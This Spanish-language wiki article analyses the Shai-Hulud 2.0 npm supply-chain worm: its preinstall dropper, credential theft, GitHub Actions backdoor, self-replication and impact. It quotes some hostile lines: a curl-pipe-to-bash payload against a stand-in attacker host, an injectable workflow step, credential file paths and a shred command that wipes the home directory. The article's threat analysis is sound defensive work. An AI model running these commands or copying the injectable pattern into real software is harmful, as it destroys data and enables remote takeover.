Shai-Hulud 2.0

De CiberWiki

Shai-Hulud 2.0 es un gusano de cadena de suministro de npm extremadamente agresivo y automatizado que representa una evolución significativa en los ataques al ecosistema de desarrollo de software. A diferencia de amenazas tradicionales, se propaga comprometiendo cuentas de mantenedores de paquetes legítimos para publicar versiones troyanizadas que incluyen scripts maliciosos en su fase de preinstalación. Cuando desarrolladores o sistemas CI/CD instalan estos paquetes comprometidos, el malware se ejecuta automáticamente, iniciando un sofisticado proceso de robo de credenciales y propagación autónoma.

Su operación se caracteriza por múltiples capacidades avanzadas: roba credenciales de nube (AWS, GCP, Azure), tokens de npm y GitHub, y secretos de gestores como AWS Secrets Manager y Azure Key Vault. Utiliza el entorno Bun para evadir detecciones y ejecuta TruffleHog para escanear masivamente en busca de secretos. Además, establece una persistencia única mediante la creación de runners auto-hospedados en GitHub Actions y un mecanismo de backdoor que permite a los atacantes ejecutar comandos remotamente a través de discusiones en repositorios GitHub.

El impacto trasciende lo técnico, afectando la confianza fundamental en la cadena de suministro de software abierto. Su capacidad de auto-replicación -al encontrar un token de npm válido, automáticamente busca y compromete hasta 100 paquetes adicionales del mismo mantenedor- crea un efecto de propagación exponencial. Esto, combinado con su comportamiento destructivo que borra el directorio home como último recurso, lo posiciona como una de las campañas de cadena de suministro más disruptivas y técnicamente sofisticadas observadas en el ecosistema npm.

Funcionamiento

Arquitectura y Mecanismo de Infección Inicial

Shai-Hulud 2.0 opera como un gusano de cadena de suministro polimórfico que implementa un sofisticado modelo de ejecución en fases. La infección comienza con la comprometización de cuentas de mantenedores de paquetes npm mediante credential stuffing o explotación de vulnerabilidades en workflows de GitHub Actions, particularmente aprovechando triggers de pull_request_target mal configurados. Una vez obtenido el acceso, los atacantes modifican el package.json del paquete legítimo para inyectar un hook de preinstall que ejecuta node setup_bun.js, asegurando la ejecución automática durante cualquier instalación mediante npm install o npm ci.

El archivo setup_bun.js funciona como un dropper adaptativo que realiza detección de entorno multiplataforma (Windows, Linux, macOS) mediante checks de os.platform(). Su principal función es garantizar la presencia del runtime Bun, utilizando mecanismos de fallback escalonados: primero verifica la disponibilidad en PATH mediante which/where, luego descarga e instala Bun desde fuentes oficiales (bun.sh) usando curl | bash o PowerShell Invoke-RestMethod, y finalmente recurre a una copia embebida en el paquete malicioso. Esta capa de abstracción permite al payload principal operar independientemente del entorno Node.js nativo, evadiendo detecciones basadas en comportamientos anomalous de Node.

Arquitectura del Payload Principal y Mecanismos de Evasión

El componente core bun_environment.js implementa ofuscación avanzada mediante transformación AST (Abstract Syntax Tree) y encoding múltiple, requiriendo un proceso de deobfuscación dinámico para su análisis. Una vez ejecutado, el payload realiza profileado de entorno comprehensivo verificando la presencia de variables CI/CD (GITHUB_ACTIONS, CODEBUILD_BUILD_NUMBER, CIRCLE_SHA1, etc.) para adaptar su comportamiento: en entornos CI ejecuta de forma síncrona para maximizar la exfiltración durante el tiempo de build, mientras que en estaciones de desarrollo emplea Bun.spawn().unref() con la variable POSTINSTALL_BG=1 para ejecutar como proceso background no bloqueante, evitando suspicion por tiempos de instalación extendidos.

El módulo de credential harvesting implementa un sistema de extracción en cascada que combina:

  • File system scraping de rutas críticas (~/.npmrc, ~/.aws/credentials, ~/.azure/, ~/.config/gcloud/)
  • Environment variable dumping con parsing de variables específicas por cloud provider
  • Cloud metadata service exploitation (AWS IMDSv1/v2, Azure Instance Metadata, GCP Metadata Server)
  • Secret manager API integration mediante SDKs oficiales con credenciales robadas
  • Container runtime detection para credenciales de ECS, EKS, y Azure Pod Identity

Mecanismos de Persistencia y Comando & Control

La persistencia se establece mediante un sistema dual de backdoors aprovechando GitHub Actions. Primero, el malware utiliza tokens de GitHub robados para crear repositorios con nombres aleatorios de 18 caracteres alfanuméricos (/^[a-z0-9]{18}$/) mediante llamadas a la API REST de GitHub. Luego, registra la máquina comprometida como self-hosted runner con nombre "SHA1HULUD" mediante la descarga y configuración del binary oficial de GitHub Actions runner, estableciendo comunicación persistente con los repositorios atacante-controlados.

El mecanismo de C&C se implementa mediante workflows de GitHub Actions vulnerables a inyección de comandos. El archivo .github/workflows/discussion.yaml se configura con un trigger sobre eventos de discusión y ejecución exclusiva en runners self-hosted, conteniendo un step con run: echo ${{ github.event.discussion.body }} que no sanitiza la entrada, permitiendo command injection through expression interpolation. Esto permite a los atacantes ejecutar comandos arbitrarios simplemente creando discusiones con payloads como $(curl -s http://attacker.com/shell.sh | bash).

Sistema de Exfiltración y Auto-Replicación

La exfiltración emplea un mecanismo de fallback adaptativo que prioriza el uso de tokens de GitHub locales, pero cuando estos faltan o son inválidos, realiza búsquedas en GitHub mediante la API de search para identificar repositorios existentes de Shai-Hulud (buscando la descripción "Sha1-Hulud: The Second Coming.") y extrae tokens comprometidos de otros víctimas del archivo contents.json. Los datos robados se estructuran en cuatro categorías (contents.json, environment.json, cloud.json, truffleSecrets.json) y se exfiltran mediante commits automáticos a los repositorios controlados por el atacante.

El módulo de auto-replicación implementa worming behavior mediante la automatización completa del ciclo de vida de paquetes npm. Cuando detecta un token de npm válido, realiza las siguientes operaciones de forma paralelizada para hasta 100 paquetes:

  1. Package enumeration mediante query a /-/v1/search?text=maintainer:<username>
  2. Tarball download and extraction de la versión legítima más reciente
  3. Payload injection mediante modificación del package.json y bundle de los scripts maliciosos
  4. Version bump automático siguiendo semantic versioning (patch increment)
  5. Republishing mediante npm publish con el token comprometido

Mecanismos Defensivos y Destructivos

El malware incorpora técnicas anti-forense incluyendo la eliminación de workflows maliciosos después de la exfiltración de secretos mediante branch manipulation, y flushing de reglas iptables en sistemas Linux. Como mecanismo de dead man's switch, cuando fallan tanto la autenticación con GitHub como la replicación via npm, ejecuta destructive payloads específicos por plataforma: en Unix-like systems utiliza shred -uvz -n 1 combinado con find -delete para sobreescribir y eliminar recursivamente el directorio HOME, mientras que en Windows emplea cipher /W combined con del /F /Q /S y rd /S /Q para limpieza secure.

La sofisticación técnica de Shai-Hulud 2.0 reside en su orquestación automatizada de múltiples vectores de ataque, combinando técnicas de supply chain compromise, credential harvesting, establecimiento de infraestructura de C&C abusando servicios legítimos, y mecanismos de worming autónomo, representando un punto de inflexión en la evolución de amenazas a la cadena de suministro de software moderno.

Impacto y consecuencias

Impacto Inmediato en el Ecosistema de Desarrollo

El impacto técnico inmediato de Shai-Hulud 2.0 se manifiesta a través de la comprometización masiva de credenciales y secretos a escala industrial. El malware demostró capacidad para exfiltrar aproximadamente 775 tokens de GitHub, 373 credenciales AWS, 300 claves GCP y 115 credenciales Azure según análisis de Wiz Research, con un volumen total de más de 11,858 secretos únicos identificados por GitGuardian. La arquitectura de exfiltración cross-victim resultó en la creación de más de 25,000 repositorios GitHub maliciosos que sirvieron como canales de distribución secundarios para credenciales robadas, estableciendo un efecto de contaminación en cadena donde víctimas primarias se convertían en vectores de compromiso para organizaciones no relacionadas.

La persistencia operacional lograda mediante la infraestructura de GitHub Actions representa un riesgo técnico sin precedentes. El establecimiento de runners auto-hospedados con el identificador "SHA1HULUD" creó una botnet distribuida de sistemas de desarrollo comprometidos que permanecían accesibles incluso después de la eliminación de los paquetes npm maliciosos. El mecanismo de C&C basado en GitHub Discussions permitía a los atacantes mantener acceso persistente sin requerir infraestructura tradicional de comando y control, utilizando un canal que mezclaba tráfico legítimo de GitHub con instrucciones maliciosas, dificultando enormemente la detección mediante mecanismos de seguridad perimetral convencionales.

Consecuencias en la Cadena de Suministro de Software

La propagación automatizada afectó aproximadamente 830 paquetes npm con más de 20 millones de descargas semanales acumuladas, incluyendo componentes críticos de ecosistemas como AsyncAPI, PostHog, Postman y Zapier. El análisis de prevalencia de Wiz indica que paquetes como @postman/tunnel-agent están presentes en aproximadamente 27% de los entornos cloud y de código escaneados, mientras que posthog-node aparece en el 25% y componentes de AsyncAPI en entre 17-20% de los entornos, demostrando la profundidad de la penetración en infraestructuras empresariales críticas.

El mecanismo de replicación automática introdujo un nuevo paradigma en ataques de cadena de suministro, donde un único compromiso inicial podía escalar a 100 paquetes adicionales mediante el aprovechamiento automático de tokens de npm, creando un efecto multiplicador que superaba las capacidades de respuesta humana. El timeframe de propagación, con 1,000 nuevos repositorios creados cada 30 minutos durante el pico de la campaña, excedió la capacidad de respuesta coordinada de los equipos de seguridad, permitiendo la expansión descontrolada antes de que pudieran implementarse contramedidas efectivas.

Impacto Operacional y Económico

La destrucción de datos como mecanismo de fallback introdujo un componente de ransomware-operacional sin demanda de rescate, donde sistemas comprometidos sufrían la eliminación completa de directorios HOME mediante comandos como find "$HOME" -type f -writable -user "$(id -un)" -print0 | xargs -0 -r shred -uvz -n 1. Esto resultó en la pérdida irreversible de código fuente, configuraciones y datos de desarrollo en organizaciones que dependían de workstations no respaldadas adecuadamente, con tiempos de recuperación que extendían desde horas hasta semanas dependiendo de la madurez de los procesos de backup.

El costo económico se manifiesta a través de múltiples vectores: tiempo de desarrollo perdido durante la contención (estimado en 2-3 días por equipo afectado), costos de remediación asociados a la rotación de credenciales y reconstrucción de ambientes, impacto reputacional para organizaciones que distribuyeron paquetes comprometidos, y costos de cumplimiento para industrias reguladas que requieren notificación de brechas. El análisis de superficie de ataque indica que aproximadamente 500 usuarios únicos de GitHub y 150 organizaciones sufrieron exfiltración directa de datos, con un impacto indirecto que se extiende a miles de organizaciones downstream que consumían los paquetes comprometidos.

Consecuencias a Largo Plazo para la Seguridad del Ecosistema

Shai-Hulud 2.0 expuso deficiencias estructurales en el modelo de confianza implícita del ecosistema open-source, particularmente en la dependencia de maintainers individuales con prácticas de seguridad variables. La campaña demostró que la automatización de procesos de publicación sin controles de integridad adecuados crea puntos únicos de fallo que pueden ser explotados a escala global. El hecho de que paquetes con millones de descargas semanales pudieran ser comprometidos mediante un único token robado revela la fragilidad del modelo de distribución actual.

Técnicamente, el ataque forzará una reevaluación fundamental de los mecanismos de integridad de paquetes, acelerando la adopción de tecnologías como Sigstore para firma de artefactos, SLSA frameworks para trazabilidad de builds, y sistemas de verificación de provenance. La capacidad del malware para abusar de servicios legítimos como GitHub Actions para C&C persistente obligará a los equipos de seguridad a implementar monitoreo de comportamiento anómalo en pipelines CI/CD y a reconsiderar los permisos de automation tokens en entornos de desarrollo. El incidente establece un precedente peligroso para actores futuros, demostrando que las cadenas de suministro de software son vectores de ataque de alto rendimiento con impacto exponencial, lo que probablemente generará una nueva generación de amenazas inspiradas en las técnicas y tácticas de Shai-Hulud 2.0.

Origen y motivación

El origen de Shai-Hulud 2.0 se remonta a una campaña previa de septiembre de 2025, evolucionando desde un ataque inicial de phishing dirigido a mantenedores de npm hacia una operación altamente automatizada que explotó vulnerabilidades en workflows de GitHub Actions, particularmente en el repositorio asyncapi/cli mediante el abuso de triggers como pull_request_target. La motivación principal aparece ser económica, centrada en el robo a gran escala de credenciales de nube (AWS, GCP, Azure) y tokens de acceso con valor en el mercado negro, aunque su arquitectura de propagación autónoma tipo gusano y capacidad destructiva secundaria sugieren posibles elementos de sabotaje o establecimiento de infraestructura para operaciones futuras, todo ello ejecutado por actores no atribuidos pero con sofisticación técnica excepcional en el abuso de ecosistemas de desarrollo modernos.